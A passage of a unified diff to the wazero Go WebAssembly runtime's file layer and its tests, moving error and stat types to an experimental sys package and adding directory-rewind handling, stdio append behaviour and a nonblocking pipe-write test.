if of, ok := f.(*os.File); ok {
@@ -33,17 +33,17 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
} else {
file = &fsFile{file: f}
}
return &stdioFile{File: file, st: fsapi.Stat_t{Mode: mode, Nlink: 1}}, nil
return &stdioFile{File: file, st: sys.Stat_t{Mode: mode, Nlink: 1}}, nil
}
func OpenFile(path string, flag int, perm fs.FileMode) (*os.File, syscall.Errno) {
if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 {
return nil, syscall.EISDIR // invalid to open a directory writeable
func OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (*os.File, experimentalsys.Errno) {
if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
}
return openFile(path, flag, perm)
}
func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
func OpenOSFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
f, errno := OpenFile(path, flag, perm)
if errno != 0 {
return nil, errno
@@ -51,12 +51,12 @@ func OpenOSFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Er
return newOsFile(path, flag, perm, f), 0
}
func OpenFSFile(fs fs.FS, path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
if flag&fsapi.O_DIRECTORY != 0 && flag&(syscall.O_WRONLY|syscall.O_RDWR) != 0 {
return nil, syscall.EISDIR // invalid to open a directory writeable
func OpenFSFile(fs fs.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
if flag&fsapi.O_DIRECTORY != 0 && flag&(fsapi.O_WRONLY|fsapi.O_RDWR) != 0 {
return nil, experimentalsys.EISDIR // invalid to open a directory writeable
}
f, err := fs.Open(path)
if errno := platform.UnwrapOSError(err); errno != 0 {
if errno := experimentalsys.UnwrapOSError(err); errno != 0 {
return nil, errno
}
// Don't return an os.File because the path is not absolute. osFile needs
@@ -66,25 +66,31 @@ func OpenFSFile(fs fs.FS, path string, flag int, perm fs.FileMode) (fsapi.File,
type stdioFile struct {
fsapi.File
st fsapi.Stat_t
st sys.Stat_t
}
// IsDir implements File.IsDir
func (f *stdioFile) IsDir() (bool, syscall.Errno) {
return false, 0
// SetAppend implements File.SetAppend
func (f *stdioFile) SetAppend(bool) experimentalsys.Errno {
// Ignore for stdio.
return 0
}
// IsAppend implements File.SetAppend
func (f *stdioFile) IsAppend() bool {
return true
}
// Stat implements File.Stat
func (f *stdioFile) Stat() (fsapi.Stat_t, syscall.Errno) {
func (f *stdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return f.st, 0
}
// Close implements File.Close
func (f *stdioFile) Close() syscall.Errno {
func (f *stdioFile) Close() experimentalsys.Errno {
return 0
}
// fsFile is used for wrapped os.File, like os.Stdin or any fs.File
// fsFile is used for wrapped fs.File, like os.Stdin or any fs.File
// implementation. Notably, this does not have access to the full file path.
// so certain operations can't be supported, such as inode lookups on Windows.
type fsFile struct {
@@ -100,7 +106,13 @@ type fsFile struct {
// file is always set, possibly an os.File like os.Stdin.
file fs.File
// closed is true when closed was called. This ensures proper syscall.EBADF
// reopenDir is true if reopen should be called before Readdir. This flag
// is deferred until Readdir to prevent redundant rewinds. This could
// happen if Seek(0) was called twice, or if in Windows, Seek(0) was called
// before Readdir.
reopenDir bool
// closed is true when closed was called. This ensures proper sys.EBADF
closed bool
// cachedStat includes fields that won't change while a file is open.
@@ -108,84 +120,73 @@ type fsFile struct {
}
type cachedStat struct {
// fileType is the same as what's documented on Dirent.
fileType fs.FileMode
// dev is the same as fsapi.Stat_t Dev.
dev uint64
// ino is the same as what's documented on Dirent.
ino uint64
// dev is the same as fsapi.Stat_t Ino.
ino sys.Inode
// isDir is fsapi.Stat_t Mode masked with fs.ModeDir
isDir bool
}
// cachedStat returns the cacheable parts of platform.sys.Stat_t or an error if
// they couldn't be retrieved.
func (f *fsFile) cachedStat() (fileType fs.FileMode, ino uint64, errno syscall.Errno) {
// cachedStat returns the cacheable parts of fsapi.Stat_t or an error if they
// couldn't be retrieved.
func (f *fsFile) cachedStat() (dev uint64, ino sys.Inode, isDir bool, errno experimentalsys.Errno) {
if f.cachedSt == nil {
if _, errno = f.Stat(); errno != 0 {
return
}
}
return f.cachedSt.fileType, f.cachedSt.ino, 0
return f.cachedSt.dev, f.cachedSt.ino, f.cachedSt.isDir, 0
}
// Ino implements File.Ino
func (f *fsFile) Ino() (uint64, syscall.Errno) {
if _, ino, errno := f.cachedStat(); errno != 0 {
return 0, errno
} else {
return ino, 0
}
// Dev implements the same method as documented on fsapi.File
func (f *fsFile) Dev() (uint64, experimentalsys.Errno) {
dev, _, _, errno := f.cachedStat()
return dev, errno
}
// IsAppend implements File.IsAppend
// Ino implements the same method as documented on fsapi.File
func (f *fsFile) Ino() (sys.Inode, experimentalsys.Errno) {
_, ino, _, errno := f.cachedStat()
return ino, errno
}
// IsDir implements the same method as documented on fsapi.File
func (f *fsFile) IsDir() (bool, experimentalsys.Errno) {
_, _, isDir, errno := f.cachedStat()
return isDir, errno
}
// IsAppend implements the same method as documented on fsapi.File
func (f *fsFile) IsAppend() bool {
return false
}
// SetAppend implements File.SetAppend
func (f *fsFile) SetAppend(bool) (errno syscall.Errno) {
return fileError(f, f.closed, syscall.ENOSYS)
// SetAppend implements the same method as documented on fsapi.File
func (f *fsFile) SetAppend(bool) (errno experimentalsys.Errno) {
return fileError(f, f.closed, experimentalsys.ENOSYS)
}
// IsDir implements File.IsDir
func (f *fsFile) IsDir() (bool, syscall.Errno) {
if ft, _, errno := f.cachedStat(); errno != 0 {
return false, errno
} else if ft.Type() == fs.ModeDir {
return true, 0
}
return false, 0
}
// Stat implements File.Stat
func (f *fsFile) Stat() (st fsapi.Stat_t, errno syscall.Errno) {
// Stat implements the same method as documented on fsapi.File
func (f *fsFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
if f.closed {
errno = syscall.EBADF
return
return sys.Stat_t{}, experimentalsys.EBADF
}
// While some functions in fsapi.File need the full path, especially in
// Windows, stat does not. Casting here allows os.DirFS to return inode
// information.
if of, ok := f.file.(*os.File); ok {
if st, errno = statFile(of); errno != 0 {
return
}
return f.cacheStat(st)
} else if t, err := f.file.Stat(); err != nil {
errno = platform.UnwrapOSError(err)
return
} else {
st = StatFromDefaultFileInfo(t)
return f.cacheStat(st)
st, errno := statFile(f.file)
switch errno {
case 0:
f.cachedSt = &cachedStat{dev: st.Dev, ino: st.Ino, isDir: st.Mode&fs.ModeDir == fs.ModeDir}
case experimentalsys.EIO:
errno = experimentalsys.EBADF
}
return st, errno
}
func (f *fsFile) cacheStat(st fsapi.Stat_t) (fsapi.Stat_t, syscall.Errno) {
f.cachedSt = &cachedStat{fileType: st.Mode & fs.ModeType, ino: st.Ino}
return st, 0
}
// Read implements File.Read
func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) {
// Read implements the same method as documented on fsapi.File
func (f *fsFile) Read(buf []byte) (n int, errno experimentalsys.Errno) {
if n, errno = read(f.file, buf); errno != 0 {
// Defer validation overhead until we've already had an error.
errno = fileError(f, f.closed, errno)
@@ -193,8 +194,8 @@ func (f *fsFile) Read(buf []byte) (n int, errno syscall.Errno) {
return
}
// Pread implements File.Pread
func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
// Pread implements the same method as documented on fsapi.File
func (f *fsFile) Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if ra, ok := f.file.(io.ReaderAt); ok {
if n, errno = pread(ra, buf, off); errno != 0 {
// Defer validation overhead until we've already had an error.
@@ -208,7 +209,7 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
// Determine the current position in the file, as we need to revert it.
currentOffset, err := rs.Seek(0, io.SeekCurrent)
if err != nil {
return 0, fileError(f, f.closed, platform.UnwrapOSError(err))
return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err))
}
// Put the read position back when complete.
@@ -217,31 +218,30 @@ func (f *fsFile) Pread(buf []byte, off int64) (n int, errno syscall.Errno) {
// If the current offset isn't in sync with this reader, move it.
if off != currentOffset {
if _, err = rs.Seek(off, io.SeekStart); err != nil {
return 0, fileError(f, f.closed, platform.UnwrapOSError(err))
return 0, fileError(f, f.closed, experimentalsys.UnwrapOSError(err))
}
}
n, err = rs.Read(buf)
if errno = platform.UnwrapOSError(err); errno != 0 {
if errno = experimentalsys.UnwrapOSError(err); errno != 0 {
// Defer validation overhead until we've already had an error.
errno = fileError(f, f.closed, errno)
}
} else {
errno = syscall.ENOSYS // unsupported
errno = experimentalsys.ENOSYS // unsupported
}
return
}
// Seek implements File.Seek.
func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) {
// Seek implements the same method as documented on fsapi.File
func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
// If this is a directory, and we're attempting to seek to position zero,
// we have to re-open the file to ensure the directory state is reset.
var isDir bool
if offset == 0 && whence == io.SeekStart {
if isDir, errno = f.IsDir(); errno != 0 {
if isDir, errno = f.IsDir(); errno == 0 && isDir {
f.reopenDir = true
return
} else if isDir {
return 0, f.reopen()
}
}
@@ -251,22 +251,32 @@ func (f *fsFile) Seek(offset int64, whence int) (newOffset int64, errno syscall.
errno = fileError(f, f.closed, errno)
}
} else {
errno = syscall.ENOSYS // unsupported
errno = experimentalsys.ENOSYS // unsupported
}
return
}
func (f *fsFile) reopen() syscall.Errno {
_ = f.close()
var err error
f.file, err = f.fs.Open(f.name)
return platform.UnwrapOSError(err)
}
// Readdir implements the same method as documented on fsapi.File
//
// Notably, this uses readdirFile or fs.ReadDirFile if available. This does not
// return inodes on windows.
func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
// Windows lets you Readdir after close, fs.File also may not implement
// close in a meaningful way. read our closed field to return consistent
// results.
if f.closed {
errno = experimentalsys.EBADF
return
}
// Readdir implements File.Readdir. Notably, this uses fs.ReadDirFile if
// available.
func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
if of, ok := f.file.(*os.File); ok {
if f.reopenDir { // re-open the directory if needed.
f.reopenDir = false
if errno = adjustReaddirErr(f, f.closed, f.reopen()); errno != 0 {
return
}
}
if of, ok := f.file.(readdirFile); ok {
// We can't use f.name here because it is the path up to the fsapi.FS,
// not necessarily the real path. For this reason, Windows may not be
// able to populate inodes. However, Darwin and Linux will.
@@ -289,39 +299,39 @@ func (f *fsFile) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
dirents = append(dirents, fsapi.Dirent{Name: e.Name(), Type: e.Type()})
}
} else {
errno = syscall.ENOTDIR
errno = experimentalsys.EBADF // not a directory
}
return
}
// Write implements File.Write
func (f *fsFile) Write(buf []byte) (n int, errno syscall.Errno) {
// Write implements the same method as documented on fsapi.File.
func (f *fsFile) Write(buf []byte) (n int, errno experimentalsys.Errno) {
if w, ok := f.file.(io.Writer); ok {
if n, errno = write(w, buf); errno != 0 {
// Defer validation overhead until we've already had an error.
errno = fileError(f, f.closed, errno)
}
} else {
errno = syscall.ENOSYS // unsupported
errno = experimentalsys.ENOSYS // unsupported
}
return
}
// Pwrite implements File.Pwrite
func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno syscall.Errno) {
// Pwrite implements the same method as documented on fsapi.File.
func (f *fsFile) Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if wa, ok := f.file.(io.WriterAt); ok {
if n, errno = pwrite(wa, buf, off); errno != 0 {
// Defer validation overhead until we've already had an error.
errno = fileError(f, f.closed, errno)
}
} else {
errno = syscall.ENOSYS // unsupported
errno = experimentalsys.ENOSYS // unsupported
}
return
}
// Close implements File.Close
func (f *fsFile) Close() syscall.Errno {
// Close implements the same method as documented on fsapi.File.
func (f *fsFile) Close() experimentalsys.Errno {
if f.closed {
return 0
}
@@ -329,12 +339,12 @@ func (f *fsFile) Close() syscall.Errno {
return f.close()
}
func (f *fsFile) close() syscall.Errno {
return platform.UnwrapOSError(f.file.Close())
func (f *fsFile) close() experimentalsys.Errno {
return experimentalsys.UnwrapOSError(f.file.Close())
}
// dirError is used for commands that work against a directory, but not a file.
func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
func dirError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
if vErrno := validate(f, isClosed, false, true); vErrno != 0 {
return vErrno
}
@@ -342,7 +352,7 @@ func dirError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
}
// fileError is used for commands that work against a file, but not a directory.
func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
func fileError(f fsapi.File, isClosed bool, errno experimentalsys.Errno) experimentalsys.Errno {
if vErrno := validate(f, isClosed, true, false); vErrno != 0 {
return vErrno
}
@@ -350,9 +360,9 @@ func fileError(f fsapi.File, isClosed bool, errno syscall.Errno) syscall.Errno {
}
// validate is used to making syscalls which will fail.
func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno {
func validate(f fsapi.File, isClosed, wantFile, wantDir bool) experimentalsys.Errno {
if isClosed {
return syscall.EBADF
return experimentalsys.EBADF
}
isDir, errno := f.IsDir()
@@ -361,52 +371,75 @@ func validate(f fsapi.File, isClosed, wantFile, wantDir bool) syscall.Errno {
}
if wantFile && isDir {
return syscall.EISDIR
return experimentalsys.EISDIR
} else if wantDir && !isDir {
return syscall.ENOTDIR
return experimentalsys.ENOTDIR
}
return 0
}
func read(r io.Reader, buf []byte) (n int, errno syscall.Errno) {
func read(r io.Reader, buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length reads.
}
n, err := r.Read(buf)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno syscall.Errno) {
func pread(ra io.ReaderAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length reads.
}
n, err := ra.ReadAt(buf, off)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
func seek(s io.Seeker, offset int64, whence int) (int64, syscall.Errno) {
func seek(s io.Seeker, offset int64, whence int) (int64, experimentalsys.Errno) {
if uint(whence) > io.SeekEnd {
return 0, syscall.EINVAL // negative or exceeds the largest valid whence
return 0, experimentalsys.EINVAL // negative or exceeds the largest valid whence
}
newOffset, err := s.Seek(offset, whence)
return newOffset, platform.UnwrapOSError(err)
return newOffset, experimentalsys.UnwrapOSError(err)
}
func readdir(f *os.File, path string, n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
// reopenFile allows re-opening a file for reasons such as applying flags or
// directory iteration.
type reopenFile func() experimentalsys.Errno
// compile-time check to ensure fsFile.reopen implements reopenFile.
var _ reopenFile = (*fsFile)(nil).reopen
// reopen implements the same method as documented on reopenFile.
func (f *fsFile) reopen() experimentalsys.Errno {
_ = f.close()
var err error
f.file, err = f.fs.Open(f.name)
return experimentalsys.UnwrapOSError(err)
}
// readdirFile allows masking the `Readdir` function on os.File.
type readdirFile interface {
Readdir(n int) ([]fs.FileInfo, error)
}
// readdir uses readdirFile.Readdir, special casing windows when path !="".
func readdir(f readdirFile, path string, n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
fis, e := f.Readdir(n)
if errno = platform.UnwrapOSError(e); errno != 0 {
if errno = experimentalsys.UnwrapOSError(e); errno != 0 {
return
}
dirents = make([]fsapi.Dirent, 0, len(fis))
// linux/darwin won't have to fan out to lstat, but windows will.
var ino uint64
var ino sys.Inode
for fi := range fis {
t := fis[fi]
// inoFromFileInfo is more efficient than sys.NewStat_t, as it gets the
// inode without allocating an instance and filling other fields.
if ino, errno = inoFromFileInfo(path, t); errno != 0 {
return
}
@@ -415,20 +448,20 @@ func readdir(f *os.File, path string, n int) (dirents []fsapi.Dirent, errno sysc
return
}
func write(w io.Writer, buf []byte) (n int, errno syscall.Errno) {
func write(w io.Writer, buf []byte) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length writes.
}
n, err := w.Write(buf)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno syscall.Errno) {
func pwrite(w io.WriterAt, buf []byte, off int64) (n int, errno experimentalsys.Errno) {
if len(buf) == 0 {
return 0, 0 // less overhead on zero-length writes.
}
n, err := w.WriteAt(buf, off)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
+161 -108
View File
@@ -7,15 +7,15 @@ import (
"os"
"path"
"runtime"
"strings"
"syscall"
"testing"
gofstest "testing/fstest"
"time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/internal/testing/require"
"github.com/tetratelabs/wazero/sys"
)
//go:embed file_test.go
@@ -48,17 +48,13 @@ func TestStdioFileSetNonblock(t *testing.T) {
}
func TestRegularFileSetNonblock(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("Nonblock on regular files is not supported on Windows")
}
// Test using os.Pipe as it is known to support non-blocking reads.
r, w, err := os.Pipe()
require.NoError(t, err)
defer r.Close()
defer w.Close()
rF := newOsFile("", syscall.O_RDONLY, 0, r)
rF := newOsFile("", fsapi.O_RDONLY, 0, r)
errno := rF.SetNonblock(true)
require.EqualErrno(t, 0, errno)
@@ -67,7 +63,7 @@ func TestRegularFileSetNonblock(t *testing.T) {
// Read from the file without ever writing to it should not block.
buf := make([]byte, 8)
_, e := rF.Read(buf)
require.EqualErrno(t, syscall.EAGAIN, e)
require.EqualErrno(t, experimentalsys.EAGAIN, e)
errno = rF.SetNonblock(false)
require.EqualErrno(t, 0, errno)
@@ -88,11 +84,38 @@ func TestReadFdNonblock(t *testing.T) {
// Read from the file without ever writing to it should not block.
buf := make([]byte, 8)
_, e := readFd(fd, buf)
if runtime.GOOS == "windows" {
require.EqualErrno(t, syscall.ENOSYS, e)
} else {
require.EqualErrno(t, syscall.EAGAIN, e)
require.EqualErrno(t, experimentalsys.EAGAIN, e)
}
func TestWriteFdNonblock(t *testing.T) {
// Test using os.Pipe as it is known to support non-blocking reads.
r, w, err := os.Pipe()
require.NoError(t, err)
defer r.Close()
defer w.Close()
fd := w.Fd()
err = setNonblock(fd, true)
require.NoError(t, err)
// Create a buffer (the content is not relevant)
buf := make([]byte, 1024)
// Write to the file until the pipe buffer gets filled up.
numWrites := 100
for i := 0; i < numWrites; i++ {
_, e := writeFd(fd, buf)
if e != 0 {
if runtime.GOOS == "windows" {
// This is currently not supported on Windows.
require.EqualErrno(t, experimentalsys.ENOSYS, e)
} else {
require.EqualErrno(t, experimentalsys.EAGAIN, e)
}
return
}
}
t.Fatal("writeFd should return EAGAIN at some point")
}
func TestFileSetAppend(t *testing.T) {
@@ -102,7 +125,7 @@ func TestFileSetAppend(t *testing.T) {
require.NoError(t, os.WriteFile(fPath, []byte("0123456789"), 0o600))
// Open without APPEND.
f, errno := OpenOSFile(fPath, os.O_RDWR, 0o600)
f, errno := OpenOSFile(fPath, fsapi.O_RDWR, 0o600)
require.EqualErrno(t, 0, errno)
require.False(t, f.IsAppend())
@@ -131,6 +154,16 @@ func TestFileSetAppend(t *testing.T) {
requireFileContent("wazero6789wazero")
}
func TestStdioFile_SetAppend(t *testing.T) {
// SetAppend should not affect Stdio.
file, err := NewStdioFile(false, os.Stdout)
require.NoError(t, err)
errno := file.SetAppend(true)
require.EqualErrno(t, 0, errno)
_, errno = file.Write([]byte{})
require.EqualErrno(t, 0, errno)
}
func TestFileIno(t *testing.T) {
tmpDir := t.TempDir()
dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir)
@@ -142,7 +175,7 @@ func TestFileIno(t *testing.T) {
tests := []struct {
name string
fs fs.FS
expectedIno uint64
expectedIno sys.Inode
}{
{name: "os.DirFS", fs: dirFS, expectedIno: st.Ino},
{name: "embed.api.FS", fs: embedFS},
@@ -153,39 +186,44 @@ func TestFileIno(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
ino, errno := d.Ino()
require.EqualErrno(t, 0, errno)
if !canReadDirInode() {
tc.expectedIno = 0
// Results are inconsistent, so don't validate the opposite.
if statSetsIno() {
require.Equal(t, tc.expectedIno, ino)
}
require.Equal(t, tc.expectedIno, ino)
})
}
t.Run("OS", func(t *testing.T) {
d, errno := OpenOSFile(tmpDir, syscall.O_RDONLY, 0)
d, errno := OpenOSFile(tmpDir, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
ino, errno := d.Ino()
require.EqualErrno(t, 0, errno)
if canReadDirInode() {
// Results are inconsistent, so don't validate the opposite.
if statSetsIno() {
require.Equal(t, st.Ino, ino)
} else {
require.Zero(t, ino)
}
})
}
func canReadDirInode() bool {
// statSetsIno returns true if this will set fsapi.Stat_t Ino on stat. The
// reverse doesn't mean it won't. Rather it is inconsistent. This is needed
// because Windows on Go 1.18 sometimes, but not always returns non-zero inode.
func statSetsIno() bool {
if runtime.GOOS != "windows" {
return true
} else {
return strings.HasPrefix(runtime.Version(), "go1.20")
// Go can read the inode via a Windows file handle, but it is
// inconsistent on Go 1.18.
// TODO: check on 1.19 can!
return platform.IsAtLeastGo120
}
}
@@ -206,7 +244,7 @@ func TestFileIsDir(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Run("file", func(t *testing.T) {
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -216,7 +254,7 @@ func TestFileIsDir(t *testing.T) {
})
t.Run("dir", func(t *testing.T) {
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
d, errno := OpenFSFile(tc.fs, ".", fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -228,7 +266,7 @@ func TestFileIsDir(t *testing.T) {
}
t.Run("OS dir", func(t *testing.T) {
d, errno := OpenOSFile(t.TempDir(), syscall.O_RDONLY, 0)
d, errno := OpenOSFile(t.TempDir(), fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer d.Close()
@@ -256,7 +294,7 @@ func TestFileReadAndPread(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(tc.fs, wazeroFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -296,10 +334,6 @@ func TestFilePollRead(t *testing.T) {
// When there's nothing in the pipe, it isn't ready.
ready, errno := rF.PollRead(&timeout)
if runtime.GOOS == "windows" {
require.EqualErrno(t, syscall.ENOSYS, errno)
t.Skip("TODO: windows File.PollRead")
}
require.EqualErrno(t, 0, errno)
require.False(t, ready)
@@ -350,7 +384,7 @@ func TestFileRead_empty(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -383,13 +417,13 @@ func TestFilePread_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(&maskFS{embedFS}, emptyFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
buf := make([]byte, 3)
_, errno = f.Pread(buf, 0)
require.EqualErrno(t, syscall.ENOSYS, errno)
require.EqualErrno(t, experimentalsys.ENOSYS, errno)
}
func TestFileRead_Errors(t *testing.T) {
@@ -397,20 +431,20 @@ func TestFileRead_Errors(t *testing.T) {
path := path.Join(t.TempDir(), emptyFile)
// Open the file write-only
flag := syscall.O_WRONLY | syscall.O_CREAT
flag := fsapi.O_WRONLY | fsapi.O_CREAT
f := requireOpenFile(t, path, flag, 0o600)
defer f.Close()
buf := make([]byte, 5)
tests := []struct {
name string
fn func(fsapi.File) syscall.Errno
fn func(fsapi.File) experimentalsys.Errno
}{
{name: "Read", fn: func(f fsapi.File) syscall.Errno {
{name: "Read", fn: func(f fsapi.File) experimentalsys.Errno {
_, errno := f.Read(buf)
return errno
}},
{name: "Pread", fn: func(f fsapi.File) syscall.Errno {
{name: "Pread", fn: func(f fsapi.File) experimentalsys.Errno {
_, errno := f.Pread(buf, 0)
return errno
}},
@@ -423,7 +457,7 @@ func TestFileRead_Errors(t *testing.T) {
t.Run("EBADF when not open for reading", func(t *testing.T) {
// The descriptor exists, but not open for reading
errno := tc.fn(f)
require.EqualErrno(t, syscall.EBADF, errno)
require.EqualErrno(t, experimentalsys.EBADF, errno)
})
testEISDIR(t, tc.fn)
})
@@ -431,15 +465,25 @@ func TestFileRead_Errors(t *testing.T) {
}
func TestFileSeek(t *testing.T) {
dirFS, embedFS, mapFS := dirEmbedMapFS(t, t.TempDir())
tmpDir := t.TempDir()
dirFS, embedFS, mapFS := dirEmbedMapFS(t, tmpDir)
tests := []struct {
name string
fs fs.FS
name string
openFile func(string) (fsapi.File, experimentalsys.Errno)
}{
{name: "os.DirFS", fs: dirFS},
{name: "embed.api.FS", fs: embedFS},
{name: "fstest.MapFS", fs: mapFS},
{name: "fsFile os.DirFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
return OpenFSFile(dirFS, name, fsapi.O_RDONLY, 0)
}},
{name: "fsFile embed.api.FS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
return OpenFSFile(embedFS, name, fsapi.O_RDONLY, 0)
}},
{name: "fsFile fstest.MapFS", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
return OpenFSFile(mapFS, name, fsapi.O_RDONLY, 0)
}},
{name: "osFile", openFile: func(name string) (fsapi.File, experimentalsys.Errno) {
return OpenOSFile(path.Join(tmpDir, name), fsapi.O_RDONLY, 0o666)
}},
}
buf := make([]byte, 3)
@@ -448,19 +492,19 @@ func TestFileSeek(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
f, errno := OpenFSFile(tc.fs, wazeroFile, syscall.O_RDONLY, 0)
f, errno := tc.openFile(wazeroFile)
require.EqualErrno(t, 0, errno)
defer f.Close()
// Shouldn't be able to use an invalid whence
_, errno = f.Seek(0, io.SeekEnd+1)
require.EqualErrno(t, syscall.EINVAL, errno)
require.EqualErrno(t, experimentalsys.EINVAL, errno)
_, errno = f.Seek(0, -1)
require.EqualErrno(t, syscall.EINVAL, errno)
require.EqualErrno(t, experimentalsys.EINVAL, errno)
// Shouldn't be able to seek before the file starts.
_, errno = f.Seek(-1, io.SeekStart)
require.EqualErrno(t, syscall.EINVAL, errno)
require.EqualErrno(t, experimentalsys.EINVAL, errno)
requireRead(t, f, buf) // read 3 bytes
@@ -491,29 +535,38 @@ func TestFileSeek(t *testing.T) {
require.Equal(t, "o\n", string(buf[:2]))
t.Run("directory seek to zero", func(t *testing.T) {
d, errno := OpenFSFile(tc.fs, ".", syscall.O_RDONLY, 0)
dotF, errno := tc.openFile(".")
require.EqualErrno(t, 0, errno)
defer d.Close()
defer dotF.Close()
_, errno = d.Seek(0, io.SeekStart)
dirents, errno := dotF.Readdir(-1)
require.EqualErrno(t, 0, errno)
direntCount := len(dirents)
require.False(t, direntCount == 0)
// rewind via seek to zero
newOffset, errno := dotF.Seek(0, io.SeekStart)
require.EqualErrno(t, 0, errno)
require.Zero(t, newOffset)
// redundantly seek to zero again
newOffset, errno = dotF.Seek(0, io.SeekStart)
require.EqualErrno(t, 0, errno)
require.Zero(t, newOffset)
// We should be able to read again
dirents, errno = dotF.Readdir(-1)
require.EqualErrno(t, 0, errno)
require.Equal(t, direntCount, len(dirents))
})
seekToZero := func(f fsapi.File) experimentalsys.Errno {
_, errno := f.Seek(0, io.SeekStart)
return errno
}
testEBADFIfFileClosed(t, seekToZero)
})
}
t.Run("os.File directory seek to zero", func(t *testing.T) {
d := requireOpenFile(t, os.TempDir(), syscall.O_RDONLY|fsapi.O_DIRECTORY, 0o666)
defer d.Close()
_, errno := d.Seek(0, io.SeekStart)
require.EqualErrno(t, 0, errno)
})
seekToZero := func(f fsapi.File) syscall.Errno {
_, errno := f.Seek(0, io.SeekStart)
return errno
}
testEBADFIfFileClosed(t, seekToZero)
}
func requireSeek(t *testing.T, f fsapi.File, off int64, whence int) int64 {
@@ -538,7 +591,7 @@ func TestFileSeek_empty(t *testing.T) {
tc := tc
t.Run(tc.name, func(t *testing.T) {
f, errno := OpenFSFile(tc.fs, emptyFile, syscall.O_RDONLY, 0)
f, errno := OpenFSFile(tc.fs, emptyFile, fsapi.O_RDONLY, 0)
require.EqualErrno(t, 0, errno)
defer f.Close()
@@ -561,19 +614,19 @@ func TestFileSeek_Unsupported(t *testing.T) {
embedFS, err := fs.Sub(testdata, "testdata")
require.NoError(t, err)
